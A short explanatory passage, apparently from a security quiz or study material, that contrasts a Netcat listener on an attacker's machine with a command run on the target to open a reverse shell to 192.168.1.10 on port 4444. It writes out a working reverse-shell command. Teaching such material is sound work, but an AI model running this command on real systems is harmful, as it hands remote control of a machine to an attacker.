Using the command nc -lvp 4444 would set up the listening post incorrectly, as this command is used on the attacker's machine, not the target. The nc -e /bin/sh 192.168.1.10 4444 would be the correct usage of Netcat on the target machine to execute a reverse shell, assuming that the IP address and port match that of the listening attacker's machine.
